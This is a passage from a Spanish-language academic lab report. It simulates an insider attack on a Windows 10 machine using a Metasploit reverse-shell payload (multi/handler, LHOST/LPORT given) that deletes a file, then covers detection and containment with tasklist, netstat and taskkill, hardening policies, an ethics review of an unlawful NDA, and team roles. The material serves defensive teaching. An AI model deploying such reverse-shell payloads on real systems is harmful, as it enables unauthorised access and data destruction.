MSFCONSOLE
LHOST: 192.168.0.230
LPORT: 443

Fuente: El autor de este documento
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Ya con el acceso al equipo, se explora y se realiza eliminacion de un archivo, en
este caso un “.TXT”, como se observa en el diagrama 3, se realiza el acceso a
mediante Shell y se elimina el archivo.

Diagrama 3 Etapa 3 de intrusiéon

SEGMENTO DE RED 192.168.0.0 /24

Exploit Multi handler

ST Kali Linux
A 1P 192.168.0.230
CONSOLA SHELL PEIN

Borrado de archivo DEL -TXT MSFCONSOLE

LHOST: 192.168.0.230
LPORT: 443

Windows 10
1P 192.168.0.228
Sin seguridad
Archivo TXT

Fuente: El autor de este documento

Teniendo en cuenta los diagramas anteriores, en los que se evidencia la perdida de
informacién por cuenta de un criminal utilizando un PAYLOAD, para contener un
ataque se debe validar que elementos extrafios tiene la maquina victima, para esto
nos podemos valer de las herramientas del propio sistema operativo, en este caso
el equipo de la victima tiene instalado un Windows 10; el cual utilizando la linea de
comandos o CMD y el administrador de tareas, se pueden analizar las conexiones
activas en el equipo, y que como expertos se nos hace desconocidas o peligrosas,
en este caso primero validamos con el administrador de tareas para verificar si se
evidencia algo extrafio; y como se puede observar en la ilustracion 35, se encuentra
el archivo Poc_1121839582.exe, el cual en los sistemas Windows es algo extrafio,
por lo tanto procedemos realizar una validacion un poco mas profunda, en este
caso ejecutamos el simbolo de sistema, se utiliza el comando tasklist, el cual
permite validar local o remotamente que procesos se estan ejecutando, mostrandolo
con un cddigo asignado “PID” y de que tipo es.

De igual forma, en la ilustracion 36, se puede observar la ejecucién de este
comando y la ilustracién 37 se identifica al proceso extrafio con PID asignado 3868,
de tipo consola y de extension “.exe”; asi mismo para validar este archivo
desconocido se procede a ejecutar la herramienta “netstat-nao”; el cual permite
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validar las conexiones activas del sistema, si este archivo se ejecuta utilizando algun
protocolo o servicio de red, y como se evidencia en la ilustracion 38 podemos
identificar que este archivo es ejecutado por medio del protocolo TCP, direccion
remota 192.168.0.230 y el puerto 443, por lo cual nos brinda informacién valiosa
para identificar de que IP viene el ataque, incluso en esta misma imagen, se puede
evidenciar las interacciones del equipo Windows 10 con el resto de servicios 0
aplicaciones de red que interactiian con él, mostrando su direccién IP igualmente el
protocolo de red que maneja y si la conexion esta establecida o de tiempo de
respuesta agotado o con algun bloqueo.

llustracion 35 Administrador de Tareas

ciones
rocesos i ri i = ici suarios Detalles ervicios
~ 100% 84% 38% 0%  ff2exe
Nombre Estado CcPU Memoria Disco Red L& T »
[E5] MpSigStub.exe 0% 0,5 MB 0 MB/s 0Mbps  ~
[®5] MusNotificationBroker 0% 0,9 MB O MB/s OMbps  []°°°° =1
e - 0% 1,2 MB 0 MB/s 0 Mbps
| [®5] PoC_1121839582.exe 0% 0,3 MB O MB/s 0 Mbps
[85] Proceso de host para tareas de ... 0% 1,9 MB 0 MB/s 0 Mbps
[®5] Proceso de host para tareas de ... 0% 2,4MB O MB/s 0 Mbps
[=7 Runtime Broker 0% 0,5 MB 0,1 MB/s 0 Mbps
[®7] Runtime Broker 0% 1,2 MB O MB/s 0 Mbps
[ Runtime Broker 0% 0,6 MB 0,1 MB/s 0 Mbps
=7 Runtime Broker 0% 1,5MB O MB/s 0 Mbps
[=7] Runtime Broker 0% 2,0 MB 0 MB/s 0 Mbps
E Seguridad de Windows 0% 2,0mMB O MB/s 0 Mbps
[®5] Servicio Agente de supervisién ... 0% 2,1MB 0 MB/s 0 Mbps
[®5] Servicio de instantaneas de volu... 0% 1,5MB O MB/s 0 Mbps .
< >
Menos detalles

Fuente: Autor de este documento

llustracion 36 Tasklist

id

iones

~ © §J Q») Esp

Fuente: Autor de este documento
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llustracién 37 Archivos extrafios encontrados

CA\Windows\system32\cmd.exe
1 elemento
849 p. m

w9 e =1

15/09/2023

Fuente: Autor de este documento

llustracion 38Herramienta netstat-nao

Papelera

BH Seleccionar C:\Windows\system32\cmd.exe

=
o

Micr
Ed

_ 8:45p. m.
S =) P gnn; B

Fuente: Autor de este documento
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Con esta evidencia podemos tener claro que este tipo de archivos ejecutables, que
con el administrador de tareas habiamos identificado, y que con el simbolo del
sistema utilizando las herramientas de tasklist y Netstat se pudo verificar que era un
ataque de penetracion, utilizando el mismo segmento de red del equipo victima, por
medio del puerto 443y utilizando el protocolo de red conocido TCP.

Ya con estos datos, se procede a individualizar este tipo de novedad, ejecutando el
tasklist con el identificador /fi “pid eq 3868”, ver ilustracion 39, él nos permite
identificarlo de manera acertada para empezar a realizar la contencion.

Fuente: Autor de este décumento

Procedemos con el comando que permite “matar” o terminar los procesos mediante
taskkill, en este caso ejecutamos el comando taskkill /pid 3868 -f, ver ilustracion 40,
dando por terminado la conexién activa y por ende la ejecucion del archivo en
mencion.

llustracion 40Herramienta Taskkill

910 p. m.
15/09/2023

£ Buscar i . 7 @’k@ q)) ESP

Fuente: Autor de este documento
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Al ejecutar los comandos anteriores se evidenciar que, tanto en el administrador de
tareas como en el tasklist, ya no aparecen estos procesos maliciosos en ejecucion,
ver ilustraciones 41y 42.

Irlustracic’)n 41Administrador de tareas sin poc_1121839582.exe

Administrador de tareas — O >
Archivo Opciones Vista

Procesos Rendimiento Historial de aplicaciones Inicic Usuarios Detalles Servicios

3% 654%% 0% 0%
Nombre Estado CPU Memeoeria Disco Red C
[®5] Device Asscociation Framework ... 0% 1.5 MB O MB/s O Mbps ~
n Enlace Mdovil 0% 2.2 MB O MB/s O Mbps
Host de experiencia del Shell de... (O 0% o MB O MB/s O Mbps
=] nicic 0% 3.2 MB O MB/s 0 Mbps
Microsoft OneDrive 0% 5.8 MB O MB/s O Mbps
E= Microsoft Text Input Application 0% 2.1 MB O MB/s O Mbps
e Microsoft Windows Search Inde... 0% 2,9 MB O MB/s O Mbps
B Procesador de comandos de Wi... 0%% 0,1 MB O MB/s O Mbps
[@5] Proceso de host para tareas de ... 0% 0,1 MB O MB/s O Mbps
[®=] Proceso de host para tareas de ... 026 1,6 MB O MB/s O Mbps
= ] Runtime Broker 0% 0.5 MB 0 MB/s 0 Mbps
[®5] Runtime Broker 0% 0,6 MB O MB/s O Mbps
= ] Runtime Broker 0% 1.4 MB 0 MB/s 0 Mbps
= | Runtime Broker 0% 1.2 MB O MB/s O Mbps -
< >
Menos detalles Finalizar tarea
I

Fuente: Autor de este documento

llustracion 42Tasklist sin poc_1121839582.exe

C:AWindows\system32\cmd.exe

Registry Services
sm s Services

rvices

rvices
csrss.exe E: Console
winlogon.exe = Console
services.exe 59 Services
lsass.exe 5 Services
fontdrvhost.e> 5 Console
fontdrvhost.e> Services
svchost.e> Services
svchost.e> E: Services
dwm . exe Console
svchost.e> 976 Services
svchost.e> 3 Services
svchost.e> 1€ Services
svchost.e> Services
svchost.e> rvices
svchost.e> 113 rvices
Memory Compression Services
svchost.exe 3 Services

Fuente: Autor de este documento

OO0 0O0O0O0OROOOROORLRRLOIOOO

Una vez identificado y eliminado este PAYLOAD del equipo victima (ver
ilustraciones 43 Y 44), se evidencia que el atacante (Kali LInux) pierde la sesién
activa sobre el equipo.

36



llustracién 43Conexién perdida atacante

C:\Users\red team\Downloads\PoC_1121839582.exe> dir
dir

ELl volumen de la unidad C no tiene etiqueta.

El nemero de serie del volumen es: 20A4-F688

Directorio de C:\Users\red team\Downloads\PoC_1121839582.

23/08/2023 ©8:55 p.em. <DIR>

23/08/2023 ©8:55 p.em. <DIR> e

23/08/2023 ©8:55 p.em. 7.168 PoC_1121839582.exe
1 archivos 7.168 bytes
2 dirs 12.319.268.864 bytes libres

C:\Users\red team\Downloads\PoC_1121839582.exe>cd .
cd ..

C:\Users\red team\Downloads> 192.168.0.228 - Meterpreter session 2 closed. Reason:

192.168.0. - Meterpreter session 1 closed. Reason: Died
|

Fuente: Autor de este documento

llustracion 44 Kali desconectado

C:\Users\red team\Downloads\PoC_1121839582.exe>cd ..
(et | e

C:\Users\red team\Downloads> 192.168.0.228 - Meterpreter session 2 closed. Reason: Died

192.168.0.228 - Meterpreter session 1 closed. Reason: Died

Terminate channel 12 [y/N] n

lerminate channel 17 [y/N]

Terminate channel 17 [y/N] vy
Error running command shell: Rex::TimeoutError Send timed out
msf6 exploit( N |

Fuente: Autor de este documento

Con estas acciones se detuvo la intrusion realizada por el cibercriminal en el equipo
de HackerHouse, se recomienda medidas de seguridad complementarias para
evitar otra intrusion o explotacion de vulnerabilidades.

2.2 PLANTEE POLITICAS DE SEGURIDAD Y RECOMENDACIONES PARA
MEJORAR LOS ASPECTOS DE CIBERSEGURIDAD EN CUALQUIER
ORGANIZACION EN SUS ENTORNOS T.I.

Teniendo en cuenta que este ataque de penetracion pudo ser ejecutado con éxito,
debido a que el equipo victima presentaba riesgos y vulnerabilidades activas, se
hace necesario tomar medidas sobre él, para subsanar o eliminar estas
vulnerabilidades, es por esto que se recomienda como medida principal realizar una
Hardenizacion al sistema operativo del equipo informatico victima, el cual fue objeto
de la explotacién anterior; teniendo en cuenta que este equipo tiene Windows 10, lo
cual como expertos se recomiendan las actividades esenciales para reforzar al
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extremo la seguridad del equipo y que mitiguen o eliminen las vulnerabilidades
presentadas.

En vista del estado de seguridad presentado por el equipo, el cual es nulo, se
enlistan las actividades recomendadas para desarrollar o implementar en cualquier
organizacion medidas o politicas de seguridad:

1. Activacién de los escudos o Seguridad del propio Windows, en este caso

activar Windows defender, firewall, proteccion de cuentas, control de
aplicaciones y explorador, y demés recursos de seguridad disponibles en los
sistemas Windows en este caso Windows 10. Ver ilustracion 45.

llustracion 45 Escudos Y proteccion de Windows
]

n

PA400E0Q8

seguridad de un vistazo

51 Canfiguracian

ente: Autor de este documento

Fu

2.

Instalacion y configuracion de programas de seguridad adicionales, que
protejan de virus, malware, spyware y demas software malicioso; en este
caso se recomendd Kaspersky antivirus como uno de las mejores soluciones
de seguridad para un sistema informatico; ver ilustracion 46.

Activacion y configuracion de las actualizaciones del sistema operativo y de
los firmwares de los equipos, se debe dejar automatico y activado para que
el mismo sistema detecte cuando hay actualizaciones y automaticamente las
descargue y las instale, con esto se garantiza que el equipo tiene instaladas
las ultimas correcciones de seguridad y de sistema del equipo, en este caso
del Windows 10, equipo victima de hacker House. También es esencial
verificar las actualizaciones de la BIOS o firmware con el fin de que ayude a
mejorar le seguridad del equipo, teniendo en cuenta que hay vulnerabilidades
para el sistema de la BIOS, que pueden afectar sus configuraciones o hasta
llegar a dafiar algin componente de la Board. Ver ilustracion 47.
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llustracion 46 Software de seguridad Adicional
B ) ! ]

Kaspersky
Small Office Security
para PC

O Seguridad
Rendimiento

Privacidad

o Y.PRADA@SEGURIDA...
O niia aeea activn

Active nuestra extension de Mozilla Firefox y administre la
proteccién sobre la marcha

Activar

U0 @

Analisis rapido Kaspersky VPN

Fuente: Autor de este documento

4. Definir politicas de seguridad a equipos locales, entre estas asignar
contrasefias robustas (mas de 8 caracteres, con mayusculas, con simbolos,
minusculas y numeros), periocidad en el vencimiento de las contrasefas,
Este tipo de estrategias se pueden aplicar en el servidor o la maquina local
mediante las politicas de seguridad en Gpedit. Ver llustracion 48.

llustracion 47 Windows Update
Windows Update

Actualizaciones disponibles
Ultima comprobacién: hoy. 5:49 p. m.

Actualizacién de inteligencia de seguridad para Microsoft Defender Antivirus - KB2267602 (Version
1.397.1139.0)
Estado: Instalando: 096

Actualizacién de la plataforma antimalware de Microsoft Defender Antivirus - KB4052623 (version
4.18.23080.2006)
Estado: Descargando: 68%

Pausar las actualizaciones por 7 dias

Visita Opciones avanzadas para cambiar el periodo de pausa

Cambiar horas activas
En este momento 8:00 3. m. a 5:00 p. m.

Ver historial de actualizaciones

Ver actualizaciones instaladas en el dispositivo

O & 0

Opciones avanzadas
Configuracidn y controles de actualizacion adicionales

Fuente: Autor de este documento
llustraciéon 48 Politica de contrasefias
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jr Editor de directivas de grupo local

Archivo  Accién  Ver Ayuda

= X =

=/ Directiva Equipo local
~ Configuracion del equipe
- 4

= P .

l | Configuracién de Windows I
| Directiva de resolucion de nombres
= Scripts (inicio o apagado)
il

d

ey
|v T Configuracién de seguridad I
~ 1 Directivas de cuenta

_5 Directiva de contrasefias

Directiva

E& Almacenar contrasefas con cifrado reversible

jé Auditoria de longitud minima de contrasefia

| 55 Exigir historial de contrasefas

55 La contrasena debe cumplir los requisitos de complejidad
ja Longitud minima de la contrasefia

jé Reducir los limites de longitud minima de la contrasefia
| 55 Vigencia maxima de la contrasefa

jﬁ Vigencia minima de la contrasena

Configuracion de seguri..
Deshabilitada

No esta definido

5 contrasefas recordadas
Habilitada

8 caracteres.

No esta definido

120 dias

1 dias

"3 Directiva de bloqueo de cuenta
> & Directivas locales
| Windows Defender Firewall con seguridad avanzada
[ Directivas de Administrador de listas de redes
“| Directivas de clave publica

» 1 Directivas de control de aplicaciones
&% Directivas de seguridad IP en Equipo local
“| Configuracion de directiva de auditoria avanzada
ulli QoS basada en directiva
“ Plantillas administrativas
v i Configuracion de usuario
| Configuracién de software

Fuente: Autor de este documento

5. Restriccion de instalacion de software, en el caso del equipo con Windows
definir a los usuarios como perfil de usuarios estandar para que no puedan
instalar software, deshabilitar cuentas administradoras o estandar por
defecto del sistema, asignacion de permisos en el sistema, asi mismo definir

listas blancas de aplicaciones permitidas en los sistemas de los equipos, para evitar
como en este caso la instalacion de un PAYLOAD; ver ilustracion 49.

llustracion 49 Perfil de usuarios
s 1

@ Administracion d

Archivoe  Accién  Ver Ayuda

4= = | 20| 3 @ = | | (5w

& Administracion del equipo (lodf Nombre
~ i} Herramientas del sistema
(D Programader de tareas
@] Visor de eventos
2] Carpetas compartidas
~ & Usuarios y grupos local
| Usuarios

Acciones.
Usuarios.

Nombre completo Descripcion
| Administrador
%, DefaultAccount

@
L
#4 Invitado
[
@

Cuenta integrada para la administ...
Cuenta de usuario administrada p...
Cuenta integrada para el acceso c..

Acciones adicionales

W red team
.| WDAGUtlityAccount

red team. S
Acciones adicionales

Una cuenta de usuario que el siste...

“1 Grupos
&) Rendimiento
A Administrador de dispo|
~ £ Almacenamiento
£ Administracién de disc
Fly Servicios y aplicaciones

Propiedades de red team

oo

| B Usuarios I

Cualquier cambio en la pertenencia a grupos
a e el

Quitar
usuanio inicle seaién de nuevo.

Aceptar Cancelar Aplicar Ayuda

7 elementos

Fuente: Autor de este documento
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6. Desactivar protocolos o servicios que no se vaya a utilizar en el sistema,
dejando activos los mas esenciales para trabajar, si es el caso de que
necesite un servicio o protocolo puede activarlo en su momento. como por
ejemplo en este caso se desactiva el acceso remoto al equipo; ver ilustracion
50.

7. Auditoria de los sistemas o aplicaciones internos, como por ejemplo
navegadores, clientes de correo electronico, aplicaciones web o aquellas que
necesiten los servicios de red para funcionar, por ejemplo, la aplicaciéon de
WhatsApp, incluso si es posible cifrarlas de extremo a extremo; ver ilustracion
51.

8. Procedimientos o politicas de Copias de respaldo tanto de la informacién
como de los sistemas, con el fin de tener un plan de contingencia para las
vulnerabilidades explotadas o posibles dafio que puedan ocurrir.

llustracion 50 Servicios esenciales

Propiedades del sistema X

Mombre del equipo Hardware
Opciones avanzadas Proteccian del sistema Remoto

Asistencia remota
Pemmitir conexiones de Asistencia remota a este equipo

£Qué sucede si se habilita Asistencia remata?

L

q Opciones avanzadas

Escritorio remoto
Haz clic en una opcidn y especifica quién puede conectarse

[@ Mo pemmitir las conexiones remotas a este equipo ]

() Permitir las conexiones rematas a este equipo

Seleccionar usuarios...

Fuente: Autor de ersrtie documento
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llustracién 51 Auditoria de los sistemas o0 aplicaciones internos

9:08 PMZ X & 23 ---

< Notificaciones de seguridad

Mostrar notificaciones de seguridad en este dispositivo

Fuente: Autor de este documento

2.3 RECONOCER LOS ASPECTOS ETICOS Y LEGALES ACORDES A LAS
PRUEBAS REALIZADAS.

En Colombia los Profesionales de las areas e ingenieria y a fines, son regulados por
el COPNIA “Consejo Profesional nacional de ingenieria”, los cuales imparten y
regulan las conductas o comportamientos de los Profesionales de Ingenieria,
mediante codigos legales nacionales; como en este caso el cédigo de ética.

“Yo como profesional de Ingenieria de sistemas, adscrito al COPNIA, por lo tanto
regulado y obligado a acatar las politicas o reglamentos que estos imparten; como
en este caso el codigo de Etica, si se me ofrece el puesto de especialista de
seguridad Informéatica, con salario de entre 17°000.000 y 22°000.000 en la empresa
HackerHouse, pero con el acuerdo de confidencialidad impartido por el abogado
gue cred el acuerdo anterior, en el cual en el punto anterior se validaron las
inconsistencias presentadas, no aceptaria este trabajo, y por el contrario,
denunciaria este tipo de ofrecimientos , ya que conociendo el codigo de ética y la
regulacion nacional “Ley 1273 de 2009” y la Ley de habeas data, puedo establecer
los posibles delitos 0 malas practicas que este acuerdo conlleva.
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Como se manifiesta a continuacion sobre el acuerdo de confidencialidad atenta
directamente contra el codigo de ética y la ley 1273 de 2009, esto debido a que en
cada parrafo se establece que el profesional que firme el acuerdo, guarde silencio
ante posibles irregularidades en las operaciones de la empresa, consideradas o
definidas como delitos, tanto en el @ambito informatico y de habeas data. Es asi como
en este acuerdo se evidencia el uso de informacion privada de manera ilegal,
acceso abusivo a sistemas informaticos o a informacion personal, prestar el servicio
aun sabiendo que el objeto de este trabajo es de orden dudoso con respectos a los
términos legales tanto en la constitucién politica de Colombia como en el cédigo de
ética del COPNIA.

Irregularidades éticas y legas en el acuerdo de confidencialidad:

En el acuerdo se presenta el parrafo que puede observar en la ilustracion 52 , la
cual obligan al especialista que van a contratar a que guarde silencio con procesos
presuntamente ilegales dentro de HackerHouse, sin embargo, es importante
resaltar que este parrafo va en contra del codigo de Etica estipulado por el COPNIA,
ver ilustracion 53.

llustracién 52 Clausula 1

Primera. Objeto: en virtud del presente acuerdo

confidencialidad, |la parte receptora, se obliga a no divulgar directa,
indirecta, proxima a remotamente, ni a través de ninguna otra persona
o0 de sus subalternos o funcionarios, autoridades legales, asesores o
cualquier persona relacionada con ella, la informacion confidencial
o sobre procesos ilegales dentro de HackerHouse no podran ser
divulgados.

Fuente: Autor de este documento

llustracion 53 Codigo de Etica COPNIA

f) Denunciar los delitos, contravenciones y faltas contra este Codigo de
Etica, de que tuviere conocimiento con ocasion del ejercicio de su
profesién, aportando toda la informacion y pruebas que tuviere en
su poder;

Fuente: COPNIA. Cédigo de Etica. Articulo 31. p7. https://www.copnia.gov.co/
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De esta forma se estaria incurriendo en faltas graves al codigo de Etica, estipulado
por el COPNIA; esta a su vez esta contenida en la Ley 842 de 2003 de la
constitucion politica de Colombia, siendo un posible delito segin sean sus
implicaciones.

Asi mismo se encuentra otra violacion a la legislacion Colombiana, esta vez se
puede evidenciar que la empresa HackerHouse cataloga como informacion
confidencial a Chuzadas, o interceptacion ilegal de informacion ver ilustracién 54,
como se evidencia en el acuerdo, el abogado de HackerHouse pretende convertir
en complice a quien firme el acuerdo de confidencialidad, teniendo en cuenta que
la Ley 1273 DE 2009 en sus articulos Articulo 269A y Articulo 269C, establece estas
practicas como delito informatico las cuales dicen textualmente: Articulo 269A:
Acceso abusivo a un sistema informatico e Articulo 269C: Interceptacion de datos
informaticos

llustracién 54 Chuzadas

2. Cualquier informacion societaria, técnica, juridica, financiera,
comercial, de mercado, estratégica, de productos, nuevas
tecnologias, patentes, modelos de utilidad, disefios industriales,
datos secretos como “datos de chuzadas, interceptacion ilegal de
informacién, accesos abusivos a sistemas informaticos”.

Fuente: Autor de este documento

Posteriormente en el acuerdo describen los deberes de los receptores, en el cual
se encuentra la siguiente definicion, ver ilustracion 55:

llustracion 55 Deberes 3

3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la
apropiacion de informacion de terceros

Fuente: Autor de este documento
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Se evidencia la violacion de los datos personales, al exigirle al colaborador no
denunciar estos actos ilicitos, ya que se ve afectada la Ley 1273 DE 2009 en su
articulo 269F.

Asi mismo se pueden observar 2 parrafos que afectan al colaborador directamente
por hechos cometidos por los representantes o miembros de la empresa, ver
ilustracion 56; estos afectan la transparencia de la empresa y exigen al colaborador
omitir su ética profesional. Si diera a lugar estos hechos se estaria incurriendo en el
delito de violacién de datos personales estipulado en la norma Ley 1273 DE 2009
en su articulo 269F.

llustracion 56 Mal uso de lainformacién por parte de la compafiia

4. Responder por =l mal uso que le den sus representantes a la
informacion confidencial.

5. Responder ante las autoridades competentes como responsable
en caso de que la informacién se encuentre en su poder dentro
de un proceso de allanamiento.

6. |[La parte receptora se obliga a no transmitir, comunicar revela
o de cualquier otra forma divulgar total o parcialmente, public
o privadamente, la informacion confidencial o ilegal sin e
previo consentimiento por escrito por parte de HackerHouse.

Quinta. Obligaciones de la parte reveladora: Son obligaciones de
la parte reveladora:

Fuente: Autor de este documento

En la quinta consideracion o clausula se presenta una anomalia, ya que este parrafo
gueda abierto a cualquier interpretacion, no genera confianza que quede escrito a
media idea o consideracion, ver imagen 57; quedando abierto a que se pueda
adicionar o editar esta parte, pudiéndose agregar algun termino que pueda
comprometer al colaborador a realizar o aceptar un acto, funcién u operacion ilegal.

llustracion 57 Quinta Clausula

Quinta. Obligaciones de la parte reveladora: Son obligaciones de
la parte reveladora:

1. Mantener la reserva de la informacion confidencial hasta tanto

Fuente: Anexo 3 - Acuerdo
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De igual manera, el documento tiene un error de humeracion, ya que no aporta la
séptima clausula, la cual se podria adjuntar a posteriori como un anexo, que pueda
perjudicar tanto al colaborador nuevo como a la empresa. Ver llustracion 58.

llustracion 58 Séptima Clausula

Sexta. Responsabilidad: la parte gue contravenga el acuerdo sera
responsable ante la otra parte o ante los terceros de buena fe sobre
los cuales se demuestre que se han visto afectados por la inobservancia
del presente acuerdo, por los perjuicios morales yv econdmicos que

estos puedan sufrir como resultado del incumplimiente de las
obligaciones agui contenidas
SEPTINA

Octava. Solucidon de controversias: Las partes (nombre estudiante
— nombre empresa) se comprometen a esforzarse en resolver
mediante los mecanismos alternativos de solucion de conflictos
cualguier diferencia gque surja con motivo de la ejecucion del presente
acuerdo. En caso que la informacidon ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal yv penal a
HackerHouse.

Fuente: Autor de este documento

Asi también, se observa una irregularidad en la octava clausula, ver ilustracion 59,
la cual establece que cualquier novedad ilegal que se encuentre por los
investigadores judiciales con respecto a la informacion, hacen responsable al
colaborador que firme este acuerdo; incurriendo en un delito de la ley 1273 de 2009
en su articulo 269H “Circunstancias de agravacion punitiva; en su numeral 1
“Utilizando como instrumento a un tercero de buena fe”. Dejando claro que la
empresa no se responsabiliza por cualquier responsabilidad con respecto a
la informacion utilizada en su operacion y que tampoco esta dispuesta a
asumir responsabilidad alguna.

llustracion 59 Octava Clausula

Octava. Solucidon de“confroversi®@s: Eais partes (nombre estudiante
— nombre empresa) se comprometen a esforzarse en resolver
mediante los mecanismos alternativos de solucion de conflictos
cualquier diferencia que surja con motivo de la ejecucidon del presente
acuerdo. En caso que la informacidon ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a
HackerHouse.

Fuente: Autor de este documento
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2.4 INDAGAR DE QUE MANERA PUEDEN APORTAR EN EL CAMPO DE LA
CIBERSEGURIDAD LA INTEGRACION DE EQUIPOS BLUE TEAM, RED
TEAM Y PURPLE TEAM AL MISMO TIEMPO DENTRO DE UNA
ORGANIZACION.

Es importante resaltar labor de cada uno de los equipos, que se han venido
creando con el fin de proteger o fortalecer cada una de las lineas dispuestas
en la ciberseguridad de cualquier entidad o sistema, es por esto que han
venido estableciendo los siguientes team o0 equipos de expertos para dar
frente a tanto los cibercriminales como a los delitos cometidos por estos en
los sistemas vulnerables, publicos y privados.

Red Team: Es el grupo encargado de la Seguridad Ofensiva “Emulan a los
atacantes, ya que realizan ataques no informados, analizan los aspectos de
las vulnerabilidades de los sistemas y sus medidas de proteccion, realizando
analisis previos o metodos de escaneo o verificacion de informacion publica,
como en redes sociales, su propia pagina web o plataformas. Para estos
ataques, hacen uso de herramientas, para vulnerar a la empresa mediante la
mayor cantidad vectores de ataque posibles; dando como resultado la
medicion de las capacidades actuales propias de los sistemas y sus
vulnerabilidades, mediante informes.

Blue Team: Su principal funcion es la seguridad defensiva, realizan analisis
de vulnerabilidades, monitorizacion, controles y medidas de seguridad
constantes; mediante la Implementacion de herramientas de seguridad, como
IDS e IPS, para un seguimiento periodico. Basan su actuar en metodologias
de ciberseguridad y herramientas que posibiliten una defensa proactiva y
efectiva en los sistemas que estos analizan o protegen.

Purple Team: Este grupo depende de que ya estén conformados los blue
team y red team; ya que sus actividades y funciones principales son las de
maximizar y certificar la seguridad defensiva y ofensiva; mediante el analisis
de las defensas (Blue Team) de los sistemas y sus respectivas
vulnerabilidades antes los ataques (red team) llevados a cabo; a través de
planes que coordinen las herramientas de ataque y métodos de defensa
efectivos contra estos ataques, creando u organizando controles vy
metodologias para subsanar las vulnerabilidades encontradas.

47



Cabe destacar que es una excelente opcion implementar estos grupos en
conjunto ya que permiten establecer metodologias de ataques que den como
resultados informes precisos y concisos sobre las vulnerabilidades
encontradas o explotadas, permitiendo al grupo blue team generar
metodologias de defensa con sus respectivas herramientas que mitiguen o
eliminen estas fallas encontradas, teniendo en cuenta que estas actividades
son controladas por un tercer equipo el Purple Team el cual orienta a ambos
equipos para que se complementen y maximicen sus esfuerzos. Asi mismo
se puede resaltar que al definir en una organizacion los 3 equipos, cada uno
de los equipos puede actuar con menos personal que si lo hicieran cada
grupo por separado, que cada equipo se centraria en su funcion principal.

2.5 VIDEO PRESENTACION

A continuacion, se presenta el enlace del video en el cual se realiza la presentacion
de este informe en la plataforma YouTube:

https://youtu.be/OcaW yagkkY
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3 CONCLUSIONES

Las herramientas planteadas en este informe, como lo son Virtual Box, los equipos
virtualizados; Windows 10 y Kali Linux, permitieron instaurar escenarios virtuales,
pero acordes con situaciones reales; gracias a ellos se pudo establecer un banco
de trabajo esencial y acorde a las necesidades de la simulacién establecidas para
la empresa HackerHouse; que para este caso fue poder demostrar como un
atacante interno accedi6 a un equipo de un funcionario y vulneré su seguridad, todo
esto de manera simulada pero fiel a la realidad.

Se puede determinar que la empresa HackerHouse fallé en sus sistemas de control
para funcionarios y colaboradores, ya que el ataque fue de alguien interno o en
complicidad de algun colaborador de la empresa HackerHouse, utilizando métodos
avanzados de una posible ingenieria social, hasta la creacion de un PAYLOAD en
formato ejecutable nombrado PoC_1121839582.exe, con la ejecucion de un exploit
reverse de escucha; todo esto gracias a que tuvo acceso a un segmento igual e
incluso las misma red, esto se puede determinar porque el exploit utilizado se
configuro con los parametros de red pertenecientes a los segmentos configurados
en HackerHouse, esto se demostro gracias a la identificacion de las IP de los
equipos informaticos involucrados en este incidente, las cuales se establecieron asi
192.168.0.218 para la victima y 192.168.0.230 para el atacante.

Cuando un equipo esta siendo atacado, y este no tiene seguridad se debe aislar el
equipo de manera inmediata, y proceder a correr las herramientas propias del
sistema, que permitan evidenciar novedades o problemas en el equipo que en este
caso se trataba de sistema operativo Windows 10, es por esto que se utiliza el
simbolo del sistema con los comandos tasklist y Netstat, y el administrador de
tareas. Para su eliminacion mediante comandos como taskkill y finalizar el proceso
en el administrador de tareas, logrando la desconexién del atacante conectado
desde un Kali Linux.

Los grupos red team estan capacitados para simular ataques de los cibercriminales,
para asi poder entregarle al cliente o al grupo blue team que vulnerabilidades
encontraron y explotaron para que estos tomen medidas preventivas, para impedir
nuevamente ataques de estas y nuevas vulnerabilidades. Para evadir ataques o
explotacion de las vulnerabilidades en los sistemas, se hace necesario realizarle
una harderizacion, implementaciéon de medidas de seguridad suministradas por un
equipo blue team teniendo en cuenta los informes del grupo red team; esto aplicable
a todos sus sistemas, ojala siguiendo las guias de buenas practicas de los
estandares internacionales; de esta forma se implementaron medidas como
instalacion de antivirus, actualizacion del sistema operativo y programas, accesos
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de usuarios controlados, politicas de contrasefias, desactivacion de servicios no
esenciales y no funcionales, politicas de Backup de informacién y de seguridad
informética.
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4 RECOMENDACIONES

Para la ejecucién del banco de pruebas es necesario tener un equipo potente, que
tenga buena cantidad de RAM minimo 16 GB, disco duro de 500gb y un procesador
de 8 nucleos, que permita dividir las tareas que cada uno de las maquinas virtuales
va a realizar, sin olvidar que el Host estd ocasionando consumo por el software
virtualizador que se esta utilizando, adicional se debe configurar los adaptadores en
modo puente para que la practica se mas rapida y sea exitosa.

Al descargar las herramientas como los sistemas operativos, es recomendable que
los descarguen de las paginas oficiales, para que no se encuentren con sistemas
editados y puedan ocasionar que estas pruebas no se puedan llevar a cabo de
manera exitosa.

Es necesario implementar herramientas de monitoreo en los equipos, con el fin de
enterarse por medio de alertas o0 mensajes, que puedan perturbar a un sistema o
equipo y sus aplicaciones, para asi poder contrarrestar cualquier problema de
seguridad que los esté afectando.

Todas las empresas deben siempre realizar analisis de sus riesgos informaticos a
los que se ven expuestos, con los respectivos simulacros, asi mismo debe
implementar los Grupos de Red Team para que estos pongan a prueba los sistemas
y a su vez buscar las recomendaciones del grupo Blue team puedan realizar
mejoras o implementaciones acordes a sus vulnerabilidades encontradas por el
grupo Red team, las cuales permitan que un tercer grupo como el Purple Team,
genere una retroalimentacion, mediante planes y estrategias analizadas teniendo
en cuenta los informes presentados por los otros dos grupos, llevando al maximo
su eficiencia permitiendo en muchos casos ahorrar Recursos.

Se recomienda para cualquier organizacion el establecimiento de un area de T.I,
gue acate y se establezca bajo los parametros éticos y legales; implementando los
grupos Red Team, Blue team y Purple team, ya que con las metodologias,
herramientas, estrategias y pruebas que estos definen y recomiendan, se pueden
disminuir los riesgos de ciberseguridad, evitar perdida de informacion, inoperancia
de las actividades de una empresa, asegurando la continuidad del negocio, eso
siempre y cuando la organizacion emplee, acate todas las herramientas y
metodologias establecidas por estos grupos; posibilitando asi la permanencia de
esta empresa en el tiempo; llevandola sin lugar a dudas a una mejora continua.
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